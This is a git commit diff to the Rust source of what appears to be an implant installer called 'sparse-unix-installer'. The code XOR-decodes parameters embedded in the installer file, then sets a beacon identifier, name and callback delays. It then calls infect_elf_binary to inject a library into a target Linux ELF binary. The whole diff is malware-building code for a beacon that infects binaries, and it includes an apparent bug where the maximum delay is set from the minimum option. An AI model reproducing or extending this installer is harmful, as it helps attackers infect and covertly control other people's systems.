feat: got unix-beacon tested on Linux

sparse-unix-installer/src/main.rs

@@ -52,10 +52,10 @@ fn main() -> Result<(), Error> {
     installer_file.seek(SeekFrom::End(-parameters_size))?;
 
     let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
-    installer_file.read(&mut parameters_buffer)?;
+    installer_file.read_to_end(&mut parameters_buffer)?;
 
     for b in parameters_buffer.iter_mut() {
-        *b = *b & (XOR_KEY as u8);
+        *b = *b ^ (XOR_KEY as u8);
     }
 
     let parameters: &mut Parameters =
@@ -66,6 +66,11 @@ fn main() -> Result<(), Error> {
         .try_fill_bytes(&mut identifier)
         .expect("Could not generate beacon identifier");
 
+    let hex_ident = hex::encode(&identifier);
+    parameters
+        .beacon_identifier
+        .copy_from_slice(&hex_ident.as_bytes());
+
     let beacon_name = opts.binary_name.as_bytes();
     parameters.beacon_name[..beacon_name.len()].copy_from_slice(&beacon_name[..]);
     parameters.beacon_name_length = beacon_name.len() as u16;
@@ -73,5 +78,9 @@ fn main() -> Result<(), Error> {
     parameters.delay_seconds_min = opts.delay_seconds_minimum;
     parameters.delay_seconds_max = opts.delay_seconds_minimum;
 
-    infect_elf_binary(opts.binary, opts.library_path, parameters)
+    std::fs::write("./debug.params-pre", &parameters_buffer)?;
+
+    infect_elf_binary(opts.binary, opts.library_path, parameters_buffer)?;
+
+    Ok(())
 }